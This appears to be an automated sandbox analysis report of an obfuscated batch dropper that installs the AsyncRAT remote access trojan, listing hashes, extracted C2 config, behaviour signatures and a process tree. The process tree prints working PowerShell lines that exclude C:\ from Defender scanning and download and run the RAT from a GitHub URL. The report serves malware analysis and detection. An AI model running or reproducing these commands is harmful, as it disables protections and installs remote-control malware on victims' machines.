Analysis

  • max time kernel
    31s
  • max time network
    37s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    26-10-2024 01:32

General

  • Target

    cool-obf.bat

  • Size

    20KB

  • MD5

    99525fe4bc3b8826a79437472b315528

  • SHA1

    6f4c3291b57e996bac223dda1b7b1bcfea8d4528

  • SHA256

    e0912478bf932332e047a18ba0431920547bbd7310b2b87eab25b78e03889ef3

  • SHA512

    6dca8ca280024c06b37c42d0f92b5d3b8cb7479fd527e9c5fc81efac8cd22c6adc6ac5dd2e5fdb8aeebff2634ea010ce9497c20dbf58addd382597855ac81887

  • SSDEEP

    384:UmN+vVczZIkT0EFDuWLhGzAzjpyHGGwWW9l:PQvVc1jT0EFDuWLhGsfpyHzw79l

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/venkovisual/Loli-Mod/refs/heads/main/AsyncClient.exe

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

Default

C2

yyyson22.gleeze.com:4608

Mutex

dw

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cool-obf.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:904
    • C:\Windows\system32\chcp.com
      chcp.com 437
      2⤵
        PID:4516
      • C:\Windows\system32\find.exe
        find
        2⤵
          PID:4844
        • C:\Windows\system32\findstr.exe
          findstr /L /I set C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
          2⤵
            PID:3280
          • C:\Windows\system32\findstr.exe
            findstr /L /I goto C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
            2⤵
              PID:1128
            • C:\Windows\system32\findstr.exe
              findstr /L /I echo C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
              2⤵
                PID:3752
              • C:\Windows\system32\findstr.exe
                findstr /L /I pause C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
                2⤵
                  PID:3492
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c type tmp
                  2⤵
                    PID:4664
                  • C:\Windows\system32\find.exe
                    find
                    2⤵
                      PID:3196
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c type tmp
                      2⤵
                        PID:4424
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1720
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/venkovisual/Loli-Mod/refs/heads/main/AsyncClient.exe', 'C:\\AsyncClient.exe')"
                        2⤵
                        • Blocklisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4160
                      • C:\AsyncClient.exe
                        "C:\AsyncClient.exe"
                        2⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        PID:4204

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\AsyncClient.exe

                      Filesize

                      61KB

                      MD5

                      a4314ad7e9a2945cf99dd03e9e46f7c1

                      SHA1

                      326c096e183a17cbc41034c6b6a6917de5347a86

                      SHA256

                      22639054481629b24309f3ab18f016231ed4f3de6fa6b852598848c1dbe7cf1f

                      SHA512

                      5787f414ebf281f581e26d21541915897e741995528bb7cc20e5d7c02d8a35e05047cd47e231d3ea389986323ee58039844c075134869a3e63d004c11f08a8c8

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                      Filesize

                      3KB

                      MD5

                      3eb3833f769dd890afc295b977eab4b4

                      SHA1

                      e857649b037939602c72ad003e5d3698695f436f

                      SHA256

                      c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

                      SHA512

                      c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      1KB

                      MD5

                      83d94e8aa23c7ad2db6f972739506306

                      SHA1

                      bd6d73d0417971c0077f772352d2f538a6201024

                      SHA256

                      dfa5cbd243b304f47196c492bc2d8b29941a550c2f076ef8bdfca72755e71881

                      SHA512

                      4224625e8ef8dadc72f1e1a1edfe2079656b14f2af94ce6128316481d96e9d0b6edf4de13fcdcc182038a2b29eb562b9246f944aecebfcb7c5ee8d7936b6287e

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c3ziaa1e.xno.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • C:\Users\Admin\AppData\Local\Temp\tmp

                      Filesize

                      14B

                      MD5

                      ce585c6ba32ac17652d2345118536f9c

                      SHA1

                      be0e41b3690c42e4c0cdb53d53fc544fb46b758d

                      SHA256

                      589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

                      SHA512

                      d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

                    • memory/1720-15-0x00007FF98C230000-0x00007FF98CCF2000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/1720-19-0x00007FF98C230000-0x00007FF98CCF2000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/1720-16-0x00007FF98C230000-0x00007FF98CCF2000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/1720-5-0x0000022070200000-0x0000022070222000-memory.dmp

                      Filesize

                      136KB

                    • memory/1720-4-0x00007FF98C233000-0x00007FF98C235000-memory.dmp

                      Filesize

                      8KB

                    • memory/4204-36-0x00000000002A0000-0x00000000002B6000-memory.dmp

                      Filesize

                      88KB

                    • memory/4204-37-0x0000000005420000-0x00000000059C6000-memory.dmp

                      Filesize

                      5.6MB

                    • memory/4204-38-0x0000000005050000-0x00000000050E2000-memory.dmp

                      Filesize

                      584KB

                    • memory/4204-39-0x0000000005040000-0x000000000504A000-memory.dmp

                      Filesize

                      40KB

                    • memory/4204-42-0x0000000006C10000-0x0000000006CAC000-memory.dmp

                      Filesize

                      624KB

                    • memory/4204-43-0x0000000006640000-0x00000000066A6000-memory.dmp

                      Filesize

                      408KB